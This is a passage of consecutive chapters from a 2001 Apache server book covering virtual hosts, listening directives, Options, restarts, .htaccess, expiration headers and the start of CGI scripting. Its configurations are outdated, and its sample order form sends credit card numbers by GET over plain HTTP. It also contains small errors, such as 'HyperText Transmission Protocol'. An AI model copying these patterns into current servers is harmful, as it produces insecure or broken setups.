Previous | Home | Next
3.6. Controlling Virtual Hosts on Unix | Book Index | 3.8. Virtual Hosts
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Virtual Hosts (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

3.8. Virtual Hosts

On site.twocopy (see Section 3.9, "Two Copies of Apache", later in this chapter) we run two different versions of Apache, each serving a different URL. It would be rather unusual to do this in real life. It is more common to run a number of virtual Apaches that steer incoming requests on different URLs -- usually with the same IP address -- to different sets of documents. These might well be home pages for members of your organization or your clients.

In the first edition of this book we showed how to do this for Apache 1.2 and HTTP/1.0. The result was rather clumsy, with a main host and a virtual host, but it coped with HTTP/1.0 clients. However, the setup can now be done much more neatly with the NameVirtualHost directive. The possible combinations of IP-based and name-based hosts can become quite complex. A full explanation with examples and the underlying theology can be found at http://www.apache.org/docs/vhosts but it has to be said that several of the possible permutations are unlikely to be very useful in practice.

3.8.1. Name-Based Virtual Hosts

This is by far the preferred method of managing virtual hosts, taking advantage of the ability of HTTP/1.1-compliant browsers to send the name of the site they want to access. At .../site.virtual/Name-based we have www.butterthlies.com and sales. butterthlies.com on 192.168.123.2. Of course, these sites must be registered on the Web (or if you are dummying the setup as we did, included in /etc/hosts). The Config file is as follows:

User webuser
Group webgroup

NameVirtualHost 192.168.123.2

<VirtualHost www.butterthlies.com>
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/site.virtual/htdocs/customers
ServerName www.butterthlies.com
ErrorLog /usr/www/site.virtual/name-based/logs/error_log
TransferLog /usr/www/site.virtual/name-based/logs/access_log
</VirtualHost>

<VirtualHost sales.butterthlies.com>
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/site.virtual/htdocs/salesmen
ServerName sales.butterthlies.com
ErrorLog /usr/www/site.virtual/name-based/logs/error_log
TransferLog /usr/www/site.virtual/name-based/logs/access_log
</VirtualHost>

The key directive is NameVirtualHost , which tells Apache that requests to that IP number will be subdivided by name. It might seem that the ServerName directives play a crucial part, but they just provide a name for Apache to return to the client. The <VirtualHost> sections now are identified by the name of the site we want them to serve. If this directive were left out, Apache would issue a helpful warning that www.butterthlies.com and sales.butterthlies.com were overlapping (i.e., rival interpretations of the same IP number) and that perhaps we needed a NameVirtualHost directive. Which indeed we would.

The virtual sites can all share log files, as shown in the given Config file, or they can use separate ones.

3.8.1.1. NameVirtualHost

NameVirtualHost address[:port]
Server config

NameVirtualHost allows you to specify the IP addresses of your name-based virtual hosts. Optionally, you can add a port number. The IP address has to match with the IP address at the top of a <VirtualHost> block, which must include a ServerName directive followed by the registered name. The effect is that when Apache receives a request addressed to a named host, it scans the <VirtualHost> blocks having the same IP number that was declared with a NameVirtualHost directive to find one that includes the requested ServerName. Conversely, if you have not used NameVirtualHost, Apache looks for a <VirtualHost> block with the correct IP address and uses the ServerName in the reply. One use of this is to prevent people from getting to hosts blocked by the firewall by using the IP of an open host and the name of a blocked one.

3.8.2. IP-Based Virtual Hosts

In the authors' experience, most of the Web still uses IP-based hosting, because although almost all clients use browsers that support HTTP/1.1, there is still a tiny proportion that doesn't, and who wants to lose business unnecessarily? However, the Web is running out of numbers, and sooner or later, people will have to move to name-based hosting.

This is how to configure Apache to do IP-based virtual hosting. The Config file is:

User webuser
Group webgroup

<VirtualHost 192.168.123.2>
ServerName www.butterthlies.com
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/site.virtual/htdocs/customers
ErrorLog /usr/www/site.virtual/IP-based/logs/error_log
TransferLog /usr/www/site.virtual/IP-based/logs/access_log
</VirtualHost>

<VirtualHost 192.168.123.3>
ServerName sales.butterthlies-IP.com
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/site.virtual/htdocs/salesmen
ServerName sales.butterthlies.com
ErrorLog /usr/www/site.virtual/IP-based/logs/error_log
TransferLog /usr/www/site.virtual/IP-based/logs/access_log
</VirtualHost>

This responds nicely to requests to http://www.butterthlies.com and http://sales-IP.butterthlies.com. The way our machine was set up, it also served up the customers' page to a request on http://www.sales.com -- which is to be expected since they share a common IP number.

3.8.3. Mixed Name/IP-Based Virtual Hosts

You can, of course, mix the two techniques. <VirtualHost> blocks that have been NameVirtualHost'ed will respond to requests to named servers; others will respond to requests to the appropriate IP numbers:

User webuser
Group webgroup

NameVirtualHost 192.168.123.2

<VirtualHost www.butterthlies.com>
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/site.virtual/htdocs/customers
ErrorLog /usr/www/site.virtual/IP-based/logs/error_log
TransferLog /usr/www/site.virtual/IP-based/logs/access_log
</VirtualHost>

<VirtualHost sales.butterthlies.com>
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/site.virtual/htdocs/salesmen
ServerName sales.butterthlies.com
ErrorLog /usr/www/site.virtual/IP-based/logs/error_log
TransferLog /usr/www/site.virtual/IP-based/logs/access_log
</VirtualHost>

<VirtualHost 192.168.123.3>
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/site.virtual/htdocs/salesmen
ServerName sales.butterthlies.com
ErrorLog /usr/www/site.virtual/IP-based/logs/error_log
TransferLog /usr/www/site.virtual/IP-based/logs/access_log
</VirtualHost>

The two named sites are dealt with by the NameVirtualHost directive, whereas requests to sales-IP.butterthlies.com, which we have set up to be 192.168.123.3, are dealt with by the third <VirtualHost> block.

3.8.4. Port-Based Virtual Hosting

Port-based virtual hosting follows on from IP-based hosting. The main advantage of this technique is that it makes it possible for a webmaster to test a lot of sites using only one IP address/hostname, or, in a pinch, host a large number of sites without using name-based hosts and without using lots of IP numbers. Unfortunately, most people don't like their web server having a funny port number.

User webuser
Group webgroup
Listen 80
Listen 8080
<VirtualHost 192.168.123.2:80>
ServerName www.butterthlies.com
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/site.virtual/htdocs/customers
ErrorLog /usr/www/site.virtual/IP-based/logs/error_log
TransferLog /usr/www/site.virtual/IP-based/logs/access_log
</VirtualHost>

<VirtualHost 192.168.123.2:8080>
ServerName sales-IP.butterthlies.com
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/site.virtual/htdocs/salesmen
ServerName sales.butterthlies.com
ErrorLog /usr/www/site.virtual/IP-based/logs/error_log
TransferLog /usr/www/site.virtual/IP-based/logs/access_log
</VirtualHost>

The Listen directives tell Apache to watch ports 80 and 8080. If you set Apache going and access http://www.butterthlies.com, you arrive on port 80, the default, and see the customers' site; if you access http://www.butterthlies.com:8080, you get the salespeople's site.

Previous | Home | Next
3.7. Controlling Virtual Hosts on Win32 | Book Index | 3.9. Two Copies of Apache
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Two Copies of Apache (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

3.9. Two Copies of Apache

To illustrate the possibilities, we will run two copies of Apache with different IP addresses on different consoles, as if they were on two completely separate machines. This is not something you want to do often, but for the sake of completeness, here it is. Normally, you would only bother if the different virtual hosts needed very different configurations, such as different values for ServerType, User, TypesConfig, or ServerRoot (none of these directives can apply to a virtual host, since they are global to all servers, which is why you have to run two copies to get the desired effect). If you are expecting a lot of hits, you should try to avoid running more than one copy, as doing so will generally load the machine more.

In our case, we don't have any real need to run two copies; however, we will go this route for the sake of education. You can find the necessary machinery in ... /site.twocopy. There are two subdirectories: customers and sales.

The Config file in ... /customers contains the following:

User webuser
Group webgroup
ServerName www.butterthlies.com
DocumentRoot /usr/www/site.twocopy/customers/htdocs
BindAddress www.butterthlies.com
TransferLog logs/access_log

In ... /sales the Config file is:

User webuser
Group webgroup
ServerName sales.butterthlies.com
DocumentRoot /usr/www/site.twocopy/sales/htdocs
Listen sales-not-vh.butterthlies.com:80
TransferLog logs/access_log

On this occasion, we will exercise the sales-not-vh.butterthlies.com URL. For the first time, we have more than one copy of Apache running, and we have to associate requests on specific URLs with different copies of the server. There are three more directives to do this.

3.9.1. BindAddress

BindAddress addr
Default addr: any
Server config

This directive forces Apache to bind to a particular IP address, rather than listening to all IP addresses on the machine.

3.9.2. Port

Port port
Default port: 80
Server config

When used in the main server configuration (i.e., outside any <VirtualHost> sections) and in the absence of a BindAddress or Listen directive, the Port directive sets the port number on which Apache is to listen. This is for backward compatibility, and really you should use BindAddress or Listen.

When used in a <VirtualHost> section, this specifies the port that should be used when the server generates a URL for itself (see also ServerName and UseCanonicalName). It does not set the port the virtual host listens on -- that is done by the <VirtualHost> directive itself.

3.9.3. Listen

Listen hostname:port
Server config

Listen tells Apache to pay attention to more than one IP address or port. By default it responds to requests on all IP addresses, but only to the port specified by the Port directive. It therefore allows you to restrict the set of IP addresses listened to and increase the set of ports.

Listen is the preferred directive; BindAddress is obsolete, since it has to be combined with the Port directive if any port other than 80 is wanted. Also, more than one Listen can be used, but only a single BindAddress.

There are some housekeeping directives to go with these three.

3.9.4. ListenBacklog

ListenBacklog number
Default: 511
Server config

Sets the maximum length of the queue of pending connections. Normally, doing so is unnecessary, but it can be useful if the server is under a TCP SYN flood attack, which simulates lots of new connection opens that don't complete. On some systems, this causes a large backlog, which can be alleviated by setting the ListenBacklog parameter. Only the knowledgeable should do this. See the backlog parameter in the manual entry for listen(2).

Back in the Config file, DocumentRoot, as before, sets the arena for our offerings to the customer. ErrorLog tells Apache where to log its errors, and TransferLog its successes. As we will see in Chapter 11, "What's Going On?" , the information stored in these logs can be tuned.

3.9.5. ServerType

ServerType [inetd|standalone]
Default: standalone
Server config

The ServerType directive allows you to control the way in which Apache handles multiple copies of itself. The arguments are inetd or standalone (the default).

inetd

You might not want Apache to spawn a cloud of waiting child processes at all, but to start up a new one each time a request comes in and exit once it has been dealt with. This is slower, but consumes fewer resources when there are no clients to be dealt with. However, this method is deprecated by the Apache Group as being clumsy and inefficient. On some platforms it may not work at all, and the Group has no plans to fix it. The utility inetd is configured in /etc/inetd.conf (see man inetd ). The entry for Apache would look something like this:

http stream tcp nowait root /usr/local/bin/httpd httpd -d directory
standalone

The default; allows the swarm of waiting child servers.

Having set up the customers, we can duplicate the block, making some slight changes to suit the salespeople. The two servers have different DocumentRoots, which is to be expected because that's why we set up two hosts in the first place. They also have different error and transfer logs, but they do not have to. You could have one transfer log and one error log, or you could write all the logging for both sites to a single file.

Type go on the server; while on the client, as before, access http://www.butterthlies.com or http://sales.butterthlies.com/.

The files in ... /sales/htdocs are similar to those on ... /customers/htdocs, but altered enough that we can see the difference when we access the two sites. index.html has been edited so that the first line reads:

<h1>SALESMEN Index to Butterthlies Catalogs</h1>

The file catalog_summer.html has been edited so that it reads:

<h1>Welcome to the great rip-off of '97: Butterthlies Inc</h1>
<p>All our worthless cards are available in packs of 20 at $1.95 a pack.
WHAT A FANTASTIC DISCOUNT! There is an amazing FURTHER 10% discount if you
order more than 100. </p> ...

and so on, until the joke gets boring. Now we can throw the great machine into operation. From console 1 (on FreeBSD hit ALT-F1), get into ... /customers and type:

% ./go

The first Apache is running. Now get into .../customers and again type:

% ./go

Now, as the client, you log on to http://www.butterthlies.com/ and see the customers' site, which shows you the customers' catalogs. Quit, and metamorphose into a voracious salesperson by logging on to http://sales.butterthlies.com/. You are given a nasty insight into the ugly reality beneath the smiling face of commerce!

Previous | Home | Next
3.8. Virtual Hosts | Book Index | 3.10. HTTP Response Headers
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


HTTP Response Headers (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

3.10. HTTP Response Headers

The webmaster can set and remove HTTP response headers for special purposes, such as setting metainformation for an indexer, or PICS labels. Note that Apache doesn't check whether what you are doing is at all sensible, so make sure you know what you are up to, or very strange things may happen.

3.10.1. HeaderName

HeaderName [set|add|unset|append] HTTP-header "value"
HeaderName remove HTTP-header
Anywhere

The HeaderName directive takes two or three arguments: the first may be set, add, unset, or append; the second is a header name (without a colon); and the third is the value (if applicable). It can be used in <File>, <Directory>, or <Location> sections.

Previous | Home | Next
3.9. Two Copies of Apache | Book Index | 3.11. Options
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Options (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

3.11. Options

Options option  option ...
Default: All
Server config, virtual host, directory, .htaccess

The Options directive is unusually multipurpose and does not fit into any one site or strategic context, so we had better look at it on its own. It gives the webmaster some far-reaching control over what people get up to on their own sites.

All

All options are enabled except MultiViews (for historical reasons), IncludesNOEXEC, and SymLinksIfOwnerMatch (but the latter is redundant if FollowSymLinks is enabled).

ExecCGI

Execution of CGI scripts is permitted -- and impossible if this is not set.

The server follows symbolic links (i.e., file links made with the Unix ln -s utility); server-side includes are permitted (see Chapter 10, "Server-Side Includes").

FollowSymLinks

See next section.

Includes

Server-side includes are permitted -- and impossible if this is not set.

IncludesNOEXEC

Server-side includes are permitted, but #exec and #include of CGI scripts are disabled.

Indexes

If the customer requests a URL that maps to a directory, and there is no index.html there, this option allows the suite of indexing commands to be used, and a formatted listing is returned (see Chapter 7, "Indexing" ).

MultiViews

Content-negotiated MultiViews are supported. This includes AddLanguage and image negotiation (see Chapter 6, "MIME, Content and Language Negotiation").

SymLinksIfOwnerMatch

Symbolic links are followed and lead to files or directories owned by the same user (see next section).

The arguments can be preceded by "+" or "-", in which case they are added or removed. The following command, for example, adds Indexes but removes ExecCGI:

Options +Indexes -ExecCGI

If no options are set, and there is no <Limit> directive, the effect is as if All had been set, which means, of course, that MultiViews is not set. If any options are set, All is turned off. This has at least one odd effect: if you have an ... /htdocs directory without an index.html and a very simple Config file, and you access the site, you see a directory of ... /htdocs. For example:

User Webuser
Group Webgroup
ServerName www.butterthlies.com
DocumentRoot /usr/www/site.ownindex/htdocs

If you add the line:

Options ExecCGI

and access it again, you see the following rather baffling message:

FORBIDDEN
You don't have permission to access / on this server

The reason is that when Options is not mentioned, it is, by default, set to All. By switching ExecCGI on, you switch all the others off, including Indexes. The cure for the problem is to edit the Config file so that the new line reads:

Options +ExecCGI

Similarly, if "+" or "-" are not used and multiple options could apply to a directory, the last most specific one is taken. For example:

Options ExecCGI
Options Indexes

results in only Indexes being set, which might surprise you. The same effect can arise through multiple <Directory> blocks:

<Directory /web/docs>
Options Indexes FollowSymLinks
</Directory>
<Directory /web/docs/specs>
Options Includes
</Directory>

Only Includes is set for /web/docs/specs.

3.11.1. FollowSymLinks, SymLinksIfOwnerMatch

When we saved disk space for our multiple copies of the Butterthlies catalogs by keeping the images bench.jpg, hen.jpg, bath.jpg, and tree.jpg in /usr/www/main_docs and making links to them, we used hard links. This is not always the best idea, because if someone deletes the file you have linked to and then recreates it, you stay linked to the old version with a hard link. With a soft, or symbolic, link, you link to the new version. To make one, use ln -s source_filename destination_filename.

However, there are security problems to do with other users on the same system. Imagine that one of them is a dubious character called Fred, who has his own webspace, ... /fred/public_html. Imagine that the webmaster has a CGI script called fido that lives in ... /cgi-bin and belongs to webuser. If the webmaster is wise, she has restricted read and execute permissions for this file to its owner and no one else. This, of course, allows web clients to use it because they also appear as webuser. As things stand, Fred cannot read the file. This is fine, and in line with our security policy of not letting anyone read CGI scripts. This denies them knowledge of any security holes.

Fred now sneakily makes a symbolic link to fido from his own webspace. In itself, this gets him nowhere. The file is as unreadable via symlink as it is in person. But if Fred now logs on to the Web (which he is perfectly entitled to do), accesses his own webspace and then the symlink to fido, he can read it because he now appears to the operating system as webuser.

The Options command without All or FollowSymLinks stops this caper dead. The more trusting webmaster may be willing to concede FollowSymLinks-IfOwnerMatch , since that too should prevent access.

Previous | Home | Next
3.10. HTTP Response Headers | Book Index | 3.12. Restarts
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Restarts (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

3.12. Restarts

A webmaster will sometimes want to kill Apache and restart it with a new Config file, often to add or remove a virtual host. This can be done the brutal way, by stopping httpd and restarting it. This method causes any transactions in progress to fail in what may be an annoying and disconcerting way for the clients. A recent innovation in Apache was a scheme to allow restarts of the main server without suddenly chopping off any child processes that were running.

Figure 3.12 There are three ways to restart Apache under Unix:

  • Figure 3.12 Kill and reload Apache, which then rereads all its Config files and restarts:

    % kill PID
% httpd [flags]

  • Figure 3.12 The same effect is achieved with less typing by using the flag -HUP to kill Apache:

    % kill -HUP PID

  • Figure 3.12 A graceful restart is achieved with the flag -USR1. This rereads the Config files but lets the child processes run to completion, finishing any client transactions in progress, before they are replaced with updated children. In most cases, this is the best way to proceed, because it won't interrupt people who are browsing at the time (unless you messed up the Config files):

    % kill -USR1 PID

  • Figure 3.12 A script to do the job automatically (assuming you are in the server root directory when you run it) is as follows:

    #!/bin/sh
kill -USR1 `cat logs/httpd.pid`

Figure 3.12 Under Win32 it is enough to open a second MS-DOS window and type:

apache -k shutdown|restart

Figure 3.12 See Section 2.2, "Apache's Flags" in Chapter 2, "Our First Web Site".

Previous | Home | Next
3.11. Options | Book Index | 3.13. .htaccess
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


.htaccess (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

3.13. .htaccess

An alternative to restarting to change Config files is to use the .htaccess mechanism. In effect, the changeable parts of the Config file are stored in a secondary file kept in .../htdocs. Unlike the Config file, which is read by Apache at startup, this file is read at each access. The advantage is flexibility, because the webmaster can edit it whenever he or she likes without interrupting the server. The disadvantage is a fairly serious degradation in performance, because the file has to be laboriously parsed to serve each request. The webmaster can limit what people do in their .htaccess files with the AllowOverride directive.

He or she may also want to prevent clients seeing the .htaccess files themselves. This can be achieved by including these lines in the Config file:

<Files .htaccess>
order allow,deny
deny from all
</Files>
Previous | Home | Next
3.12. Restarts | Book Index | 3.14. CERN Metafiles
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


CERN Metafiles (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

3.14. CERN Metafiles

A metafile is a file with extra header data to go with the file served -- for example, you could add a Refresh header. There seems no obvious place for this material, so we will put it here, with apologies to those readers who find it rather odd.

3.14.1. MetaFiles

MetaFiles [on|off]
Default: off
Directory

Turns metafile processing on or off on a directory basis.

3.14.2. MetaDir

MetaDir directory_name
Default directory_name: .web
Directory

Names the directory in which Apache is to look for metafiles. This is usually a "hidden" subdirectory of the directory where the file is held. Set to the value "." to look in the same directory.

3.14.3. MetaSuffix

MetaSuffix file_suffix
Default file_suffix: .meta
Directory

Names the suffix of the file containing metainformation.

The default values for these directives will cause a request for DOCUMENT_ROOT/mydir/fred.html to look for metainformation (supplementing the MIME header) in DOCUMENT_ROOT/mydir/fred.html.meta.

Previous | Home | Next
3.13. .htaccess | Book Index | 3.15. Expirations
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Expirations (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

3.15. Expirations

Apache Version 1.2 brought the expires module, mod_expires, into the main distribution. The point of this module is to allow the webmaster to set the returned headers to pass information to clients' browsers about documents that will need to be reloaded because they are apt to change, or alternatively, that are not going to change for a long time and can therefore be cached. There are three directives.

3.15.1. ExpiresActive

ExpiresActive [on|off]
Anywhere, .htaccess when AllowOverride Indexes

ExpiresActive simply switches the expiration mechanism on and off.

3.15.2. ExpiresByType

ExpiresByType mime-type time
Anywhere, .htaccess when AllowOverride Indexes

ExpiresByType takes two arguments. mime-type specifies a MIME type of file; time specifies how long these files are to remain active. There are two versions of the syntax. The first is:

code seconds

There is no space between code and seconds. code is one of the following:

A

Access time (or now, in other words)

M

Last modification time of the file

seconds is simply a number. For example:

A565656

specifies 565656 seconds after the access time.

The more readable second format is:

base [plus] number type [number type ...]

where base is one of the following:

access

Access time

now

Synonym for access

modification

Last modification time of the file

The plus keyword is optional, and type is one of the following:

  • years

  • months

  • weeks

  • days

  • hours

  • minutes

  • seconds

For example:

now plus 1 day 4 hours

does what it says.

3.15.3. ExpiresDefault

ExpiresDefault time
Anywhere, .htaccess when AllowOverride Indexes

This directive sets the default expiration time, which is used when expiration is enabled but the file type is not matched by an ExpireByType directive.

Previous | Home | Next
3.14. CERN Metafiles | Book Index | 4. Common Gateway Interface (CGI)
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Common Gateway Interface (CGI) (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Chapter 4. Common Gateway Interface (CGI)

Contents:

Turning the Brochure into a Form
Writing and Executing Scripts
Script Directives
Useful Scripts
Debugging Scripts
Setting Environment Variables
suEXEC on Unix
Handlers
Actions

Things are going so well here at Butterthlies, Inc., that we are hard put to keep up with the flood of demand. Everyone, even the cat, is hard at work typing in orders that arrive incessantly by mail and telephone.

Then someone has a brainstorm: "Hey," she cries, "let's use the Internet to take the orders!" The essence of her scheme is simplicity itself. Instead of letting customers read our catalog pages on the Web and then, drunk with excitement, phone in their orders, we provide them with a form they can fill out on their screens. At our end we get a chunk of data back from the Web, which we then pass to a script or program we have written.

4.1. Turning the Brochure into a Form

Creating the form is a simple matter of editing our original brochure to turn it into a form. We have to resist the temptation to fool around, making our script more and more beautiful. We just want to add four fields to capture the number of copies of each card the customer wants and, at the bottom, a field for the credit card number. Before we get embroiled in artistry, let's look briefly at a bit of theory.

4.1.1. What Is HTTP?

To recapitulate amidst a sea of initials: HTTP (HyperText Transmission Protocol) is the standard way of sending documents over the Web. HTTP uses the TCP protocol. The client (which is normally a browser such as Netscape) establishes a TCP connection to the server (which in our case is Apache) and then sends a request in HTTP format down that channel. The server examines the request and responds in whatever way its webmaster has told it to. The webmaster does this by configuring the Apache server and the files or scripts he or she provides on the system.

The machine's response may be in HTML, graphics, audio, VRML, Java, or whatever new fad the web fanatics have dreamed up since we went to press. Whatever it is, it consists of bytes of data that are made into packets by the server's TCP/IP stack and transmitted. You can find a list of MIME types in the file mime.types or at http://www.isi.edu/in-notes/iana/assignments/media-types/media-types. The meanings are pretty obvious: text/html is HTML, text/plain is plain text, image/jpeg is a JPEG, and so on.

4.1.2. What Is an HTTP Method?

One of the more important fields in a request is METHOD. This tells the server how to handle the incoming data. For a complete account, see the HTTP/1.1 specification. Briefly, however, the methods are as follows:

GET

Returns the data asked for. To save network traffic, a "conditional GET " only generates a return if the condition is satisfied. For instance, a page that alters frequently may be transmitted. The client asks for it again: if it hasn't changed since last time, the conditional GET generates a response telling the client to get it from its local cache.

HEAD

Returns the headers that a GET would have included, but without data. They can be used to test the freshness of the client's cache.

POST

Tells the server to accept the data and do something with it, using the CGI[33] specified by the URL[34] in the ACTION field. For instance, when you buy a book across the Web, you fill in a form with the book's title, your credit card numbers, and so on. Your browser will then tell the server to POST this data.

[33]Typically, although the URL could specify a module or even something more exotic.

[34]Often this will be the ACTION field from an HTML form, but in principle, it could be generated in any way a browser sees fit.

PUT

Tells the server to store the data.

DELETE

Tells the server to delete the data.

TRACE

Tells the server to return a diagnostic trace of the actions it takes.

CONNECT

Used to ask a proxy to make a connection to another host and simply relay the content, rather than attempting to parse or cache it. This is often used to make SSL connections through a proxy.

Note that servers do not have to implement all these methods. See RFC 2068 for more detail.

4.1.3. The Form

The catalog, now a form with the new lines marked:

<!-- NEW LINE - CREATES A FORM FIELD -->

is shown here. As we'll see, the Unix and Win32 versions are slightly different in the extensions they will tolerate for CGI scripts.

Figure 4.1.3 Unix doesn't mind what a script is called, provided it is made executable with:

chmod +x <scriptname>

Figure 4.1.3 Win32 has a default shell -- COMMAND.COM -- that will execute batch files with the extension .bat. If you want to use it, you don't have to specify it (see later in this chapter):

<html>
<body>
<!-- UNIX -->
<!--TWO VERSIONS - see text above -->
<FORM METHOD=GET ACTION="mycgi.cgi">
<!-- OR -->
<FORM METHOD=GET ACTION="cgi-bin/mycgi.cgi">
<!-- WIN32 -->
<!--TWO VERSIONS - see text above -->
<FORM METHOD=GET ACTION="mycgi.bat">
<!-- OR -->
<FORM METHOD=GET ACTION="cgi-bin/mycgi.bat">

<h1> Welcome to Butterthlies Inc</h1>
<h2>Summer Catalog</h2>
<p> All our cards are available in packs of 20 at $2 a pack.
There is a 10% discount if you order more than 100.
</p>
<hr>
<p>
Style 2315
<p align=center>
<img src="bench.jpg" alt="Picture of a bench">
<p align=center>
Be BOLD on the bench
<!-- NEW LINE - CREATES A FORM FIELD -->
<p>How many packs of 20 do you want? <INPUT NAME="2315_order" TYPE=int>
<hr>
<p>
Style 2316
<p align=center>
<img src="hen.jpg" ALT="Picture of a hencoop like a pagoda">
<p align=center>
Get SCRAMBLED in the henhouse
<!-- NEW LINE - CREATES A FORM FIELD -->
<p>How many packs of 20 do you want? <INPUT NAME="2316_order" TYPE=int>
<HR>
<p>
Style 2317
<p align=center>
<img src="tree.jpg" alt="Very nice picture of tree">
<p align=center>
Get HIGH in the treehouse
<!-- NEW LINE - CREATES A FORM FIELD -->
<p>How many packs of 20 do you want? <INPUT NAME="2317_order" TYPE=int>
<hr>
<p>
Style 2318
<p align=center>
<img src="bath.jpg" alt="Rather puzzling picture of a batchtub">
<p align=center>
Get DIRTY in the bath
<!-- NEW LINE - CREATES A FORM FIELD -->
<p>How many packs of 20 do you want? <INPUT NAME="2318_order" TYPE=int>
<hr>
<!-- NEW LINES - CREATE FORM FIELDS -->
<p>Which Credit Card are you using?
<ol><li>Access <INPUT NAME="card_type" TYPE=checkbox VALUE="Access">
<li>Amex <INPUT NAME="card_type" TYPE=checkbox VALUE="Amex">
<li>MasterCard <INPUT NAME="card_type" TYPE=checkbox VALUE="MasterCard">
</ol>
<p>Your card number? <INPUT NAME="card_num" SIZE=20>
<hr>
<p align=right>
Postcards designed by Harriet@alart.demon.co.uk
<hr>
<br>
Butterthlies Inc, Hopeful City, Nevada 99999
</br>
<!-- NEW LINE - CREATES A FORM FIELD -->
<p><INPUT TYPE=submit><INPUT TYPE=reset>
</FORM>
>/body>
</html>

This is all pretty straightforward stuff, except perhaps for the line:

<FORM METHOD=GET ACTION="/cgi-bin/mycgi.cgi">

or:

<FORM METHOD=GET ACTION="mycgi.bat">

The tag <FORM> introduces the form; at the bottom, </FORM> ends it. The tag <METHOD> tells Apache how to return the data to the CGI script we are going to write. For the moment it is irrelevant because the simple script mycgi.cgi ignores the returned data.

Figure 4.1.3 The ACTION specification tells Apache to use the URL /cgi-bin/mycgi.cgi (amplified to /usr/www/cgi-bin/mycgi) to do something about it all:

ACTION="/cgi-bin/mycgi.cgi"

Figure 4.1.3 Or, if we are using the second method, where we keep the CGI script in the htdocs directory:

ACTION="/mycgi.cgi"

Figure 4.1.3 The ACTION specification tells Apache to use the URL /cgi-bin/mycgi.cgi (amplified to \usr\www\cgi-bin\mycgi ) to do something about it all:

ACTION="/cgi-bin/mycgi.bat"

Figure 4.1.3 Or, if we are using the second method, where we keep the CGI script in the htdocs directory:

ACTION="/mycgi.bat"

Previous | Home | Next
3.15. Expirations | Book Index | 4.2. Writing and Executing Scripts
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Writing and Executing Scripts (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

4.2. Writing and Executing Scripts

Bear in mind that the CGI script must be executable in the opinion of your operating system. In order to test it, you can run it from the console with the same login that Apache uses. If you cannot, you have a problem that's signaled by disagreeable messages at the client end, plus equivalent stories in the log files on the server, such as:

You don't have permission to access /cgi-bin/mycgi on this server

You need to do either of the following:

  • Use ScriptAlias in your host's Config file, pointing to a safe location outside your webspace. This makes for better security because the Bad Guys then cannot read your scripts and analyze them for holes. "Security by obscurity" is not a sound policy on its own, but it does no harm when added to more vigorous precautions.

  • Use Addhandler or Sethandler to set a handler type of cgi-script. In this case, you put the CGI scripts in your document root.

If you have not used ScriptAlias, then Options ExecCGI must be on. It will normally be on by default. See the section Section 4.5, "Debugging Scripts", later in this chapter, for more information on fixing scripts.

To experiment, we have a simple test script, mycgi.cgi, in two locations: .../cgi-bin to test the first method above, and .../site.cgi/htdocs to test the second. When it works, we would write the script properly in C or Perl or whatever.

Figure 4.2 The script mycgi.cgi looks like this:

#!/bin/sh
echo "content-type: text/plain"
echo
echo "Have a nice day"

Figure 4.2 Under Win32, providing you want to run your script under COMMAND.COM and call it mycgi.bat, the script can be a little simpler than the Unix version -- it doesn't need the line that specifies the shell:

@echo off
echo "content-type: text/plain"
echo.
echo "Have a nice day"

Figure 4.2 The @echo off command turns off command-line echoing, which would otherwise completely destroy the output of the batch file. The slightly weird-looking "echo." gives a blank line (a plain echo without a dot prints "ECHO is off").

Figure 4.2 If you are running a more exotic shell, like bash or perl, you need the `shebang' line at the top of the script to invoke it:

#!shell path
...

A CGI script consists of headers and a body. Everything up to the first blank line (strictly speaking, CRLF CRLF, but Apache will tolerate LF LF) is header, and everything else is body. The lines of the header are separated by LF or CRLF. A list of possible headers is to be found in the draft CGI 1.1 specification, from which this is a quotation:

The CGI
header fields have the generic syntax:

    generic-header = field-name ":" [ field-value ] NL
    field-name     = 1*<any CHAR, excluding CTLs, SP and ":">
    field-value    = *( field-content | LWSP )
    field-content  = *( token | tspecial | quoted-string )
   The field-name is not case sensitive; a NULL field value is equivalent to
   the header field not being sent.

   Content-Type
          The Internet Media Type [9] of the entity body, which is to
          be sent unmodified to the client.

    Content-Type = "Content-Type" ":" media-type NL
          This is actually an HTTP-Header rather than a CGI-header
          field, but it is listed here because of its importance in the
          CGI dialogue as a member of the "one of these is required"
          set of header fields.

   Location
          This is used to specify to the server that the script is
          returning a reference to a document rather than an actual
          document.

    Location         = "Location" ":"
                       ( fragment-URI | rel-URL-abs-path ) NL
    fragment-URI     = URI [ # fragmentid ]
    URI              = scheme ":" *qchar
    fragmentid       = *qchar
    rel-URL-abs-path = "/" [ hpath ] [ "?" query-string ]
    hpath            = fpsegment *( "/" psegment )
    fpsegment        = 1*hchar
    psegment         = *hchar
    hchar            = alpha | digit | safe | extra
                     | ":" | "@" | "& | "="

Our little script first tells Apache to use the sh shell and then specifies what type of data the content is, using the Content-Type header. This must be specified because:

